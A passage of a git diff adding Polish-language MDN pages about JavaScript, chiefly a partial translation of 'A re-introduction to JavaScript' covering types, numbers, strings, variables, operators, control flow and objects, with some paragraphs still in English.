functional programming styles.</p> + +<p>JavaScript działa po stronie klienta, co można wykorzystać w projektowaniu / programowaniu jak strona ma się zachowywać w przypadku wystąpienia jakiegoś zdarzenia. JavaScript jest łatwym do opanowania i jednocześnie potężnym językiem skryptowym, powszechnie używany do kontrolowania zachowania strony internetowej.</p> + +<p>Wbrew powszechnemu przekonaniu, <strong>JavaScript <em>nie </em>jest "zinterpretowaną Java"</strong>. W skrócie, JavaScript jest dynamicznym językiem skryptowym obsługującym prototypową konstrukcję obiektów. Podstawowa składnia jest celowo podobna zarówno do Java i C++, aby zmniejszyć liczbę nowych pojęć potrzebnych do nauki języka. Konstrukcje językowe, takie jak istrukcje <code>if</code> i <code>switch</code>, pętle <code>for</code> i <code>while</code>, oraz blok <code>try ... catch</code> funkcjonują tak samo w tych językach (lub bardzo podobnie).</p> + +<p>JavaScript może funkcjonować jako język <a class="external" href="https://en.wikipedia.org/wiki/Procedural_programming" title="https://en.wikipedia.org/wiki/Procedural_programming">proceduralny</a>, jak również <a class="external" href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript" title="https://developer.mozilla.org/en-US/docs/Introduction_to_Object-Oriented_JavaScript">język zorientowany obiektowo</a>. Obiekty w JavaScript są tworzone automatycznie, poprzez dołączenie metod i właściwości do pustego obiektów <strong>w czasie wykonywania</strong>, w przeciwieństwie do definicji składniowych klasy wspólnych zestawionych w językach takich jak C ++ i Java. Raz stworzony obiekt może być stosowany jako projekt (lub prototyp) do tworzenia podobnych obiektów.</p> + +<p>JavaScript's dynamic capabilities include runtime object construction, variable parameter lists, function variables, dynamic script creation (via <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval" title="en-US/docs/JavaScript/Reference/Global_Functions/eval">eval</a></code>), object introspection (via <code>for ... in</code>), and source code recovery (JavaScript programs can decompile function bodies back into their source text).</p> + +<p>For a more in depth discussion of JavaScript programming follow the <a href="#JavaScript_resources">JavaScript resources</a> links below.</p> + +<h2 id="What_JavaScript_implementations_are_available">What JavaScript implementations are available?</h2> + +<p>The Mozilla project provides two JavaScript implementations. The first <strong>ever</strong> JavaScript was created by Brendan Eich at Netscape, and has since been updated to conform to ECMA-262 Edition 5 and later versions. This engine, code named <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a>, is implemented in C/C++. The <a href="/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a> engine, created primarily by Norris Boyd (also at Netscape) is a JavaScript implementation written in Java. Like SpiderMonkey, Rhino is ECMA-262 Edition 5 compliant.</p> + +<p>Several major runtime optimizations such as TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) and IonMonkey were added to the SpiderMonkey JavaScript engine over time. Work is always ongoing to improve JavaScript execution performance.</p> + +<p>Besides the above implementations, there are other popular JavaScript engines such as:-</p> + +<ul> + <li>Google's <a class="external" href="https://code.google.com/p/v8/" title="https://code.google.com/p/v8/">V8</a>, which is used in the Google Chrome browser and recent versions of Opera browser. This is also the engine used by <a href="http://nodejs.org">Node.js</a>.</li> + <li>The <a class="external" href="https://www.webkit.org/projects/javascript/index.html" title="https://www.webkit.org/projects/javascript/index.html">JavaScriptCore</a> (SquirrelFish/Nitro) used in some WebKit browsers such as Apple Safari.</li> + <li><a class="external" href="http://my.opera.com/ODIN/blog/carakan-faq" title="http://my.opera.com/ODIN/blog/carakan-faq">Carakan</a> in old versions of Opera.</li> + <li>The <a class="external" href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29" title="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> engine used in Internet Explorer (although the language it implements is formally called "JScript" in order to avoid trademark issues).</li> +</ul> + +<p>Each of Mozilla's JavaScript engines expose a public API which application developers can use to integrate JavaScript into their software. By far, the most common host environment for JavaScript is web browsers. Web browsers typically use the public API to create <strong>host objects</strong> responsible for reflecting the <a class="external" href="http://www.w3.org/DOM/">DOM</a> into JavaScript.</p> + +<p>Another common application for JavaScript is as a (Web) server side scripting language. A JavaScript web server would expose host objects representing a HTTP request and response objects, which could then be manipulated by a JavaScript program to dynamically generate web pages. <a href="http://nodejs.org">Node.js</a> is a popular example of this.</p> + +<h2 id="JavaScript_resources">JavaScript resources</h2> + +<dl> + <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a></dt> + <dd>Information specific to Mozilla's implementation of JavaScript in C/C++ engine (aka SpiderMonkey), including how to embed it in applications.</dd> +</dl> + +<dl> + <dt><a href="/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a></dt> + <dd>Information specific to the JavaScript implementation written in Java (aka Rhino).</dd> + <dt><a href="/en-US/docs/Web/JavaScript/Language_Resources" title="en-US/docs/JavaScript_Language_Resources">Language resources</a></dt> + <dd>Pointers to published JavaScript standards.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript" title="en-US/docs/A_re-introduction_to_JavaScript">A re-introduction to JavaScript</a></dt> + <dd><a href="/en-US/docs/Web/JavaScript/Guide" title="en-US/docs/JavaScript/Guide">JavaScript guide</a> and <a href="/en-US/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript reference</a>.</dd> +</dl> + +<p>JavaScript® is a trademark or registered trademark of Oracle in the U.S. and other countries.</p> diff --git a/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html b/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html new file mode 100644 index 0000000000..abb01ce731 --- /dev/null +++ b/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html @@ -0,0 +1,965 @@ +--- +title: Ponowne wprowadzenie do JavaScript (JS tutorial) +slug: Web/JavaScript/Ponowne_wprowadzenie_do_JavaScript +translation_of: Web/JavaScript/A_re-introduction_to_JavaScript +--- +<div>{{jsSidebar}}</div> + +<div></div> + +<div>Po co ponowne wprowadzanie? Ponieważ {{Glossary("JavaScript")}} osławiony jest jako <a href="http://crockford.com/javascript/">najbardziej niezrozumiany język świata</a>. Często wyśmiewany jest jako bycie zabawką, jednak pod warstwą jego prosoty czekają potężne funkcje. Obecnie JavaScript używany jest w niewiarygodnie dużej ilości wysokoprofilowych aplikacji, pokazując, że dogłębne zrozumienie tej technologii jest ważną umiejętnością dla każdego, webowego jak i mobilnego, dewelopera.</div> + +<div></div> + +<div>Warto rozpocząć od zaznajomienia się z historią tego języka. JavaScript został stworzony w 1995 roku przez Brendah Eich, który w tym czasie był inżynierem w Netscape. Pierwszy raz JavaScript został wydany z Netscape 2 początkiem 1996 roku. Pierwotnie miał on być nazywany LiveScript, został jednak przemianowany za sprawą feralnej decyzji marketingowej, która miała na celu wykorzystanie popularności języka Java Sun Microsystem - pomijając znikome części wspólne. Od tego czasu jest to źrodłem wielu nieporozumień. </div> + +<div></div> + +<div>Kilka miesięcy poźniej Microsoft wydał JScript razem z Internet Explorer 3. Był to w większości kompatybilny i podobny w pracy do JavaScript. Kilka miesięcy po tym, Netscape zgłosił JavaScript do <a href="http://www.ecma-international.org/">Ecma International</a>, europejskiego stowarzyszenia standaryzującego, czego rezultatem było wydanie pierwszej edycji {{Glossary("ECMAScript")}}. Standard otrzymał znaczącą aktualizację jako <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> w 1999 roku i od tego czasu został prawie niezmieniony. Czwarta edycja została porzucona z powodu różnic politycznych dotyczących złożoności języka. Wiele części czwartej edycji uformowało podstawy dla piątej ECMAScript - opublikowanej w grudniu 2009 roku, oraz szóstej, której publikacja wypadła w czerwcu 2015 roku.</div> + +<div></div> + +<div></div> + +<div class="note"> +<p>Od tej pory określenie "JavaScript" będzie używane w odniesieniu do ECMAScript, ponieważ określenie to jest bardziej rozpoznawalne.</p> +</div> + +<p>W odróżnieniu od innych języków programowania, JavaScript nie posiada koncepcji wejścia ani wyjścia. Zaprojektowany został do działania jako język skryptowy działający w środowisku hosta i do tego środowiska nalezy zapewnienie mechanizmów komunikacji ze światem. Najbardziej pospolitym środowiskiem jest przeglądarka, jednak interpretatory JavaScript można znaleźć również w wielu innych miejscach włączając w to Adobe Acrobat, Adobe Photoshop, obrazy SVG, silnik wigetów Yahoo, w środowiskach uruchomieniowych takich jak <a href="http://nodejs.org/">Node.js</a>, bazach danych NoSQL - <a href="http://couchdb.apache.org/">Apache CouchDB</a>, systemach wbudowanych czy kompletnych środowiskach graficznych takich jak <a href="http://www.gnome.org/">GNOME </a>( jeden z najpopularniejszych GUI dla systemów operacyjnych GNU/Linux ).</p> + +<h2 id="Przegląd">Przegląd</h2> + +<p>JavaScript jest wieloparadygmatowym, dynamicznym językiem z typami i operatorami, standardowymi wbudowanymi obiektami oraz metodami. Jego składnia opiera się na językach Java i C - wiele struktur tych języków również zostało wprowadzonych do JavaScript-u. JavaScript wspiera programowanie obiektowe z prototypami obiektów zamiast klas ( zobacz więcej <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/dziedziczenie_lancuch_prototypow">dziedziczenie prototypowe</a> oraz <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">ES2015 klasy</a> (ang.)). Dodatkowo JavaScript wspiera programowanie funkcyjne - funkcje są obiektami, nadanie funkcjom możliwości przechowywania kodu wykonawczego i przekazywaniu go jak każdemu innemu obiektowi.</p> + +<p>Zacznijmy od spojrzenia na budulec każdego języka: typy. Programy JavaScript manipulują wartościami, a wszystkie te wartości należą do typu. W JavaScript wyróżniamy typy: </p> + +<ul> + <li>{{jsxref("Number")}}</li> + <li>{{jsxref("String")}}</li> + <li>{{jsxref("Boolean")}}</li> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("Object")}}</li> + <li>{{jsxref("Symbol")}} (new in ES2015)</li> +</ul> + +<p>...oraz {{jsxref("undefined")}} i {{jsxref("null")}}, które są nieco dziwne. Obiekty posiadają specjalne rodzaje, więc aby być technicznie poprawnym powyższa lista powinna wyglądać następująco:</p> + +<ul> + <li>{{jsxref("Number")}}</li> + <li>{{jsxref("String")}}</li> + <li>{{jsxref("Boolean")}}</li> + <li>{{jsxref("Symbol")}} (new in ES2015)</li> + <li>{{jsxref("Object")}} + <ul> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Date")}}</li> + <li>{{jsxref("RegExp")}}</li> + </ul> + </li> + <li>{{jsxref("null")}}</li> + <li>{{jsxref("undefined")}}</li> +</ul> + +<p>Istnieją także wbudowane typy {{jsxref("Error")}}. Będzie prościej jeśli będziemy trzymać się pierwszej listy, a więc omówione zostaną wymienione tam typy.</p> + +<h2 id="Liczby">Liczby</h2> + +<p>Zgodnie ze specyfikacją numery w JavaScript są "wartościami podwójnie precyzyjnymi 64-bitowego formatu IEEE 754". Ma to pewne interesujące konsekwencje. W JavaScript nie ma rzeczy takiej jak liczba całkowita, należy więc być dość ostrożnym z artmetyką jeśli jesteś przyzywczajony do matematyki w języku C lub Java.</p> + +<p>Dodatkowo, zwracaj uwagę na rzeczy takie jak: </p> + +<pre class="brush: js">0.1 + 0.2 == 0.30000000000000004; +</pre> + +<p>W praktyce, liczby całkowite są traktowane jako 32-bitowe jednostki, a niektóre implementacje przechowują je w ten sposób dopóki nie zostaną poproszone o wykonanie instrukcji, która jest poprawna dla liczby, ale nie dla 32-bitowej liczby całkowitej. Może to być istotne dla operacji bitowych.</p> + +<p>Standardowe<a href="/en-US/docs/Web/JavaScript/Reference/Operators#Arithmetic_operators"> operatory arytmetyczne</a> są wspierane, wliczając w to dodawanie, odejmowanie, modulo i tak dalej. Istnieje też wbudowany obiekt, o którym zapomnieliśmy wspomnieć, {{jsxref("Math")}}, który zapewnia zaawansowane funkcje i stałe matematyczne:</p> + +<pre class="brush: js">Math.sin(3.5); +var circumference = 2 * Math.PI * r; +</pre> + +<p>Możesz zamienić String na liczbę całkowitą używając wbudowanej funkcji {{jsxref("Global_Objects/parseInt", "parseInt()")}}. Funkcja ta przyjmuje podstawę do konwersji jako opcjonalny drugi argument, który zawsze należy podawać:</p> + +<pre class="brush: js">parseInt('123', 10); // 123 +parseInt('010', 10); // 10 +</pre> + +<p>W starszych przeglądarkach, String-i zaczynające się od "0" przyjmowane są w formacie ósemkowym (podstawa 8), jednak od 2013 roku nie stanowiło to problemu. Chyba, że jesteś pewien formatu String-a, mogą zaskoczyć Cię wyniki w starszych przeglądarkach:</p> + +<pre class="brush: js">parseInt('010'); // 8 +parseInt('0x10'); // 16 +</pre> + +<p>Widzimy tu, że funkcja {{jsxref("Global_Objects/parseInt", "parseInt()")}} traktuje pierwszego Stringa w systemie ósemkowym przez 0 na przodzie, drugi String natomiast traktowny jest w systemie szesnastowym przez "0x" z przodu. <em>Zapis szesnastkowy nadal istnieje</em>; tylko ósemkowy został usunięty.</p> + +<p>Jeśli chcesz zmenić liczbę binarną na całkowitą, wystarczy zmienić podstawę:</p> + +<pre class="brush: js">parseInt('11', 2); // 3 +</pre> + +<p>Podobnie możemy przekształcić liczbę zmiennoprzecinkową używając wbudowanej funckcji {{jsxref("Global_Objects/parseFloat", "parseFloat()")}}. W odróżnieniu do {{jsxref("Global_Objects/parseInt", "parseInt()")}}, <code>parseFloat()</code> zawsze uzywa 10 jako podstawy.</p> + +<p>Możesz użyć działania jednoargumentowego <code>+</code>, aby zamienić wartości na liczby:</p> + +<pre class="brush: js">+ '42'; // 42 ++ '010'; // 10 ++ '0x10'; // 16 +</pre> + +<p>Specjalna wartość {{jsxref("NaN")}} ( skrót od "Not a Number" ( ang. nie numer )) zostaje zwrócona jeśli String nie jest liczbowy:</p> + +<pre class="brush: js">parseInt('hello', 10); // NaN +</pre> + +<p><code>NaN</code> jest toksyczny: jesli podasz go jako argument operacji matematycznej jej wynikiem również będzie <code>NaN</code>:</p> + +<pre class="brush: js">NaN + 5; // NaN + +</pre> + +<p>Możesz wykorzystać <code>NaN</code> do testów używając wbudowanej funkcji {{jsxref("Global_Objects/isNaN", "isNaN()")}}:</p> + +<pre class="brush: js">isNaN(NaN); // true + +</pre> + +<p>JavaScript dostarcza również specjalną wartość {{jsxref("Infinity")}} oraz <code>-Infinity</code>:</p> + +<pre class="brush: js"> 1 / 0; // Infinity +-1 / 0; // -Infinity + +</pre> + +<p><code>Infinity</code>, <code>-Infinity</code> oraz <code>NaN </code>wykorzystane mogą być do testów za pomocą wbudowanej funkcji {{jsxref("Global_Objects/isFinite", "isFinite()")}}:</p> + +<pre class="brush: js">isFinite(1 / 0); // false +isFinite(-Infinity); // false +isFinite(NaN); // false +</pre> + +<div class="note">Funkcje {{jsxref("Global_Objects/parseInt", "parseInt()")}} i {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} przekształcają String dopóki nie napotkają znaku, który nie spełnia wymagań formatu liczbowego, po napotkaniu takiego znaku zwrócona zostanie liczba przekształcona do tego momentu. Jednak operator "+" zwyczajnie zwróci <code>NaN</code> jeśli w przekształcanym Stringu znajduje się niepoprawny znak. Spróbuj przekształcić String "10.2abc" używając przedstawionych metod, aby lepiej zrozumieć ich rożnice.</div> + +<h2 id="Strings">Strings</h2> + +<p>String-ami w JavaScript są sekwencje <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">znaków Unicode</a>. To powinna być dobra wiadomość dla każdego kto miał do czynienia z internacjonalizacją. Dokładniej, są to sekwencje jednostek kodowych UTF-16; każda jednostka kodowa jest reprezentowana przez 16-bitową liczbę. Każdy znak Unicode reprezentowany jest przez 1 lub 2 jednostki kodu.</p> + +<p>Jeśli chcesz przekazać jeden znak, musisz poprostu użyć String-a składającego się z tego pojedyńczego znaku.</p> + +<p>Aby sprawdzić długość String-a (w jednostkach kodu), użyj właściwości <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/String/length">length</a>:</p> + +<pre class="brush: js">'hello'.length; // 5 +</pre> + +<p>To było nasza pierwsza styczność z obiektami JavaScript! Wspominaliśmy, że możesz traktować String-i jak {{jsxref("Object", "obiekty", "", 1)}}? Też posiadają one {{jsxref("String", "metody", "#Methods", 1)}}, które pozwalają nimi manipulować i uzyskiwać informacje na ich temat:</p> + +<pre class="brush: js">'hello'.charAt(0); // "h" +'hello, world'.replace('hello', 'goodbye'); // "goodbye, world" +'hello'.toUpperCase(); // "HELLO" +</pre> + +<h2 id="Inne_typy">Inne typy</h2> + +<p>JavaScript odróżnia {{jsxref("null")}}, który jest wartością wskazujacą na umyślny brak wartości ( dostęp do nich tylko za pomocą słowa kluczowego <code>null</code> ), od {{jsxref("undefined")}}, która jest wartością typu <code>undefinded</code>, wskazującą na niezainicjowaną wartość - oznacza to, że wartość nie została jeszcze przypisana. Zmienne zostaną omówione później, narazie wystarczy nam wiedza, że w JavaScripcie możliwe jest zdeklarowanie zmiennej bez przypisania do niej wartości. Jeśli to zrobimy zmienna będzie typu <code>undefinded</code>. <code>undefinded</code> jest w rzeczywistości stałą.</p> + +<p>JavaScript posiada boolean (logiczny typ danych) z możliwymi wartościami <code>true</code> lub <code>false</code> (obie są słowami kluczowymi). Każda wartość może zostać przekonwertowana na typ logiczny zgodnie z zasadami:</p> + +<ol> + <li><code>false</code>, <code>0</code>, pusty string (<code>""</code>), <code>NaN</code>, <code>null</code>, oraz <code>undefined</code> wszystkie odpowiadają <code>false</code>.</li> + <li>Wszystkie inne odpowiadają <code>true</code>.</li> +</ol> + +<p>Możesz wykonać jawną konwersję używając wbudowanej funkcji <code>Boolean()</code>:</p> + +<pre class="brush: js">Boolean(''); // false +Boolean(234); // true +</pre> + +<p>Jednak, tego typu zamiana jest rzadko potrzeba, ponieważ JavaScript automatycznie wykona konwersję, kiedy oczekiwać będzie typu logicznego jak na przykład w przypadku instrukcji warunkowej <code>if</code> (zobacz niżej). Z tego powodu czasami mówi się o "wartościach prawdziwych" (<em>true values</em>) i "wartościach fałszywych" (<em>false value</em>), które oznaczają wartości, które po konwersji na typ logiczny stają się, odpowienio, prawdziwe lub fałszywe. Alternatywnie wartości te nazywane mogą być "truthy" lub "falsy".</p> + +<p>Operatory logiczne takie jak <code>&&</code>( i <em>)</em>, <code>||</code>( lub ) oraz <code>!</code>( negacja ) są wspierane; zobacz niżej.</p> + +<h2 id="Zmienne">Zmienne</h2> + +<p>Do deklaracji nowej zmiennej w JavaScript używamy jednego z trzech słów kluczowych: <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a> lub <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a>.</p> + +<p><code><strong>let</strong></code><strong> </strong>pozwala na deklarację zmiennej blokowej. Zadeklarowana zmienna dostępna jest z poziomu <em>bloku, </em>w którym została zadeklarowana.</p> + +<pre class="brush: js">let a; +let name = 'Simon'; + +</pre> + +<p>Poniżej znajduje się przykład zakresu ze zmienną zadeklarowaną za pomocą <code><strong>let</strong></code>:</p> + +<pre class="brush: js">// mojaZmiennaLet *nie* jest tutaj widoczna + +for (let mojaZmiennaLet = 0; mojaZmiennaLet < 5; mojaZmiennaLet++) { + // mojaZmiennaLet jest widoczna tylko tutaj +} + +// mojaZmiennaLet *nie* jest tutaj widoczna +</pre> + +<p><code><strong>const</strong></code><strong> </strong>pozwala zadeklarować zmienne, których wartości z założenia są stałe. Zmienna dostępna jest z <em>bloku,</em> w którym została zadeklarowana.</p> + +<pre class="brush: js">const Pi = 3.14; // deklaruje zmienną Pi +Pi = 1; // zwrócony zostanie błąd ponieważ nie można zmieniać zmiennej <code>const</code></pre> + +<p><strong><code>var</code> </strong>jest najczęściej deklarowaną zmienną. W odróżnieniu do dwóch pozostałych zmiennych nie posiada ograniczeń. Jest tak dlatego, że tradycyjnie był to jedeny sposób deklarowania zmiennych w JavaScript. Zmienna zadeklarowana przy użyciu <strong><code>var</code></strong> dostepna jest z <em>funkcji, </em>w której została zadeklarowana.</p> + +<pre class="brush: js">var a; +var name = 'Simon'; +</pre> + +<p>Przykład zakresu zmiennej zadeklarowanej za pomocą <strong><code>var</code>:</strong></p> + +<pre class="brush: js">// mojaZmiennaVar *jest* tutaj widoczna + +for (var mojaZmiennaVar = 0; mojaZmiennaVar < 5; mojaZmiennaVar++) { + // mojaZmiennaVar jest widoczna dla całej funckji +} + +// mojaZmiennaVar *jest* tutaj widoczna +</pre> + +<p>Jesli zadeklarujesz zmienną bez przypisania do niej wartości, jej typ stanie się <code>undefinded</code>.</p> + +<p>Ważną różnicą między JavaScript i innymi językami, jak Java, jest fakt, że w JavaScript bloki nie mają zasiegu; tylko funkcje posiadają zasięg. Więc jeśli zmienna zostanie zadeklarowana przy użyciu <code>var</code> w złożonej deklaracji (na przykład wewnątrz instrukcji warunkowej <code>if</code>), będzie ona widoczna dla całej funkcji. Jednak, korzystając ze składni ECMAScript 2015, deklaracje <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a> i <a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a> pozwalają na tworzenie zmiennych o <u>zasięgu blokowym</u>.</p> + +<h2 id="Operatory">Operatory</h2> + +<p>Operatory liczbowe w JavaScript to <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> oraz <code>%</code>, który jest operatorem reszty (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_%28%29">co nie jest tym samym co modulo</a>). Do przypisania wartości używamy =, istnieje także przypisanie złożone jak na przykład += i -=. Ich rozwinięcie to <code>x = x operator y</code></p> + +<p>x += 5;<br> + x = x + 5;</p> + +<p>Możesz użyć operatorów <code>++</code> aby inkrementować oraz <code>--</code> aby dekrementować. Mogą one być używane zarówno jako operatory prefiksowe lub przyrostkowe.</p> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition">Operator +</a> dodatkowo używany jest do łączenia string-ów.</p> + +<pre class="brush: js">'hello' + ' world'; // "hello world" + +</pre> + +<p>Jeśli dodasz string do numeru (lub innej wartości) wszystko zostanie przekształcone w string. Przykład poniżej:</p> + +<pre class="brush: js">'3' + 4 + 5; // "345" + 3 + 4 + '5'; // "75" +</pre> + +<p>Dodanie do czegoś pustego string-a jest przydatnym sposobem na zamiane tego w string. </p> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Porówniania</a> w JavaScript wykonywane są za pomocą <code><</code>, <code>></code>, <code><=</code> oraz <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">>=</span></font>. Działają one zarówno ze string-ami jak i numerami. Równość jest trochę mniej prosta. Podwójny operator równości wykonuje przymusowe sprawdzenie kiedy podane zostały wartości o dwóch różnych typach, co czasami może dawać interesujące wyniki:</p> + +<pre class="brush: js">123 == '123'; // true +1 == true; // true + +</pre> + +<p>Aby uniknąć przymusowego sprawdzenia, użyj potrójnego operatora równości:</p> + +<pre class="brush: js">123 === '123'; // false +1 === true; // false +</pre> + +<p>Dodatkowo występują operatory <code>!=</code> oraz <code>!==</code>.</p> + +<p>JavaScript posiada również <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">operacje bitowe</a>.</p> + +<h2 id="Struktury_kontroli">Struktury kontroli</h2> + +<p>JavaScript posiada podobny zestaw struktur kontorli do innych języków rodziny C. Instrukcje warunkowe są wspierane przez <code>if</code> oraz <code>else</code>; jeśli chcesz możesz je ze sobą łączyć:</p> + +<pre class="brush: js">var name = 'kotki'; +if (name == 'pieski') { + name += ' hau'; +} else if (name == 'kotki') { + name += ' miau'; +} else { + name += '!'; +} +name == 'kotki miau'; +</pre> + +<p>JavaScript ma pętle <code>while</code> i <code>do-while</code>. Pierwsza jest dobra do prostych pętli; druga, jeśli chcesz mieć pewność, że funkcja zostanie wykonana przynajmniej raz:</p> + +<pre class="brush: js">while (true) { + // an infinite loop! +} + +var input; +do { + input = get_input(); +} while (inputIsNotValid(input)); +</pre> + +<p>W JavaScript pętla <code>for</code> działa w taki sam sposób jak w C i Java: pozwala na zapewnienie informacji dla pętli w jednej lini.</p> + +<pre class="brush: js">for (var i = 0; i < 5; i++) { + // Will execute 5 times +} +</pre> + +<p>JavaScript dodatkowo posiada dwie inne znaczące pętle for: <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></p> + +<pre class="brush: js">for (let value of array) { + // działania na value +} +</pre> + +<p>oraz <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>:</p> + +<pre class="brush: js">for (let własność in obiekt) { + // działania na własności obiektu +} +</pre> + +<p>Operatory <code>&&</code> oraz <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">|<code>|</code></span></font> w których wykonanie drugiego operanda zależne jest od pierwszego. Przydatne do sprawdzania istnienia obiektu przed przypisaniem do niego atrybutów:</p> + +<pre class="brush: js">var name = o && o.getName(); + +</pre> + +<p>Lub do cachowania wartości (kiedy wartości nieprawdziwe są nieprawidłowe):</p> + +<pre class="brush: js">var name = cachedName || (cachedName = getName()); +</pre> + +<p>JavaScript posiada potrójny operator dla wyrażeń warunkowych:</p> + +<pre class="brush: js">var allowed = (age > 18) ? 'yes' : 'no'; +</pre> + +<p>Warunek <code>switch</code> może być używany dla wielu odgałęzień na podstawie liczby lub ciągu znaków:</p> + +<pre class="brush: js">switch (action) { + case 'draw': + drawIt(); + break; + case 'eat': + eatIt(); + break; + default: + doNothing(); +} +</pre> + +<p>Jeśli nie dodasz warunku <code>break</code>, wykonanie "przeskoczy" do następnego warunku. Takie działanie jest bardzo rzadko pożądane - w rzeczywistości warto opisać celowy "przeskok" w komentarzu w celu ułatwienia debugowania:</p> + +<pre class="brush: js">switch (a) { + case 1: // przeskok + case 2: + eatIt(); + break; + default: + doNothing(); +} +</pre> + +<p>Domyślny (<code>default</code>) warunek jest opcjonalny. Możesz mieć wyrażenia zarówno w części przełącznika (<code>switch</code>), jak i w przypadku (<code>case</code>); porównania między nimi odbywają się przy pomocy operatora <code>===</code>: </p> + +<pre class="brush: js">switch (1 + 3) { + case 2 + 2: + yay(); + break; + default: + neverhappens(); +} +</pre> + +<h2 id="Obiekty">Obiekty</h2> + +<p>Obiekty w JavaScript można opisać jako prostą kolekcję par nazwa-wartość. Jako takie podobne są do:</p> + +<ul> + <li>Słowniki w Pythonie.</li> + <li>Tablic asocjacyjnych w Perl i Ruby.</li> + <li>Tablic asocjacyjnych w C i C++.</li> + <li>Map w Javie.</li> + <li>Tablic asocjacyjnych w PHP.</li> +</ul> + +<p>Ze względu na popularność tej struktury danych są one świadectwem wszechstronności. Ponieważ wszystko (poza typami prostymi) jest traktowane w JavaScript jak obiekt, każdy program JavaScript naturalnie objemuje dużą ilość wyszukiwań w tablicach mieszających. Dobrze, że są one takie szybkie!</p> + +<p>Część "nazwa" jest stringiem, natomiast wartość może być każdą wartością JavaScript- nawet kolejnym obiektem. Pozwala to na budowanie struktur danych o dowolnej złożoności.</p> + +<p>Istnieją dwa podstawowe sposoby tworzenia pustego obiektu:</p> + +<pre class="brush: js">var obj = new Object(); +</pre> + +<p>Oraz:</p> + +<pre class="brush: js">var obj = {}; +</pre> + +<p>These are semantically equivalent; the second is called object literal syntax and is more convenient. This syntax is also the core of JSON format and should be preferred at all times.</p> + +<p>Semantycznie obie wersje są równe; druga, nazywana jest literalną składnią obiektu, jest wygodniejsza. Ta składnia jest dodatkowo kluczowym formatem JSON i powinna być preferowana w użyciu.</p> + +<p>Literalna składnia może być użyta do zainicjowania obiektu w całości:</p> + +<pre class="brush: js">var auto = { + marka: 'Ford', + model: 'Fiesta', + detale: { + kolor: 'grafitowy', + konieMechaniczne: 96 + } +}; +</pre> + +<p>Dostęp do atrybutu może być ze sobą połączony:</p> + +<pre class="brush: js">obj.detale.kolor; // grafitowy +obj['detale']['konieMechaniczne']; // 96 +</pre> + +<p>The following example creates an object prototype, <code>Person</code> and an instance of that prototype, <code>you</code>.</p> + +<p>Poniższy przykład tworzy prototyp obiektu <code>Person</code> i jego instancję, <code>marek</code>.</p> + +<pre class="brush: js">function Person(imie, wiek) { + this.imie = imie; + this.wiek = wiek; +} + +// Definiowanie obiektu +var marek = new Person('Marek', 24); +// Stworzyliśmy nową osobę o imieniu 'Marek' i wieku 24 lat. + +</pre> + +<p><strong>Once created</strong>, an object's properties can again be accessed in one of two ways:</p> + +<p>Do właściwości stworzonego obiektu można uzyskać dostep na dwa sposoby:</p> + +<pre class="brush: js">// notacja kropkowa ( <code>dot notation )</code> +obj.name = 'Simon'; +var name = obj.name; +</pre> + +<p>oraz...</p> + +<pre class="brush: js">// notacją nawiasową ( bracket notation ) +obj['name'] = 'Simon'; +var name = obj['name']; +// zmienna może być użyta do zdefiniowania wartości klucza +var user = prompt('what is your key?') +obj[user] = prompt('what is its value?') +</pre> + +<p>Te notacje także są semantycznie jednakowe. Druga metoda ma tę zaletę, że nazwa własności podawana jest jako string, dzięki czemu obliczana jest w czasie wykonywania. Jednak użycie tej metody zapobiega zastosowaniu niektórych mechanizmów JavaScript i procesów minifikacji. Może też być używany do ustawiania i pobierania własności z nazwami wykorzystującymi <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">słowa zastrzeżone</a>: </p> + +<pre class="brush: js">obj.for = 'Simon'; // Syntax error, ponieważ 'for' jest zastrzeżone +obj['for'] = 'Simon'; // kod działa +</pre> + +<div class="note"> +<p>Począwszy od ECMAScript 5, słowa zastrzeżone mogą być używane jako nazwy własności obiektów "w locie". Oznacza to, że nie muszą być zamknięte w cudzysłów podczas definiowania obiektu notacją literałową. Zobacz <a href="http://es5.github.io/#x7.6.1">specyfikację ES5</a>.</p> +</div> + 